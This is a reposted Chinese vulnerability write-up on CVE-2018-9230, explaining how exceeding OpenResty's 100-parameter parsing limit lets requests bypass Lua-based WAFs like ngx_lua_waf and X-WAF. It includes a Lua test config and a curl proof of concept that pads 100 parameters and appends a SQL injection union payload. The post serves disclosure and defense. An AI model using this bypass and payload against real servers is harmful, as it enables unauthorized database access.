打破基于openresty的WEB安全防护

原文首发于安全客,现转载到自己博客。

0x00 前言

OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。OpenResty官网:https://openresty.org漏洞编号:CVE-2018-9230影响版本:OpenResty全版本0x01 环境搭建运行环境:CentOS6源码版本:https://openresty.org/download/openresty-1.13.6.1.tar.gz(官网最新版)0x02 漏洞详情A、uri参数获取测试用例:server {listen 80;server_name localhost;location /test {content_by_lua_block {for k,v in pairs(arg) dongx.say("[GET ] key:", k, " v:", v)endfor k,v in pairs(arg) dongx.say("[POST] key:", k, " v:", v)end}}}输出测试:

B、参数大小写当提交同一参数id,根据接收参数的顺序进行排序,可是当参数id,进行大小写变换,如变形为Id、iD、ID,则会被当做不同的参数。

这里,介绍参数大小写,主要用于进一步构造和理解测试用例。C、参数溢出如果当我们不段填充参数,会发生什么情况呢,为此我构造了一个方便用于展示的测试案例,a0-a9,10*10,共100参数,然后第101个参数添加SQL注入 Payload,我们来看看会发生什么?测试用例:curl '127.0.0.1/test?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata'输出结果:

检查这两个函数的文档,出于安全原因默认的限制是100,它们接受一个可选参数,最多可以告诉它应该解析多少GET / POST参数。但只要攻击者构造的参数超过限制数就可以轻易绕过基于OpenResty的安全防护,这就存在一个uri参数溢出的问题。0x03 影响产品基于OpenResty的开源WAF如:ngx_lua_waf、X-WAF、Openstar等,均受影响。A、ngx_lua_wafngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙github源码:https://github.com/loveshell/ngx_lua_waf拦截效果图:

利用参数溢出Bypass:

B、X-WAF

X-WAF是一款适用中、小企业的云WAF系统,让中、小企业也可以非常方便地拥有自己的免费云WAF。官网:https://waf.xsec.iogithub源码:https://github.com/xsec-lab/x-waf拦截效果图:

利用参数溢出Bypass:

参考链接:

https://github.com/openresty/openresty/issues/358http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9230http://wiki.jikexueyuan.com/project/openresty/openresty/get_url_param.html

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180501G0CXEW00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券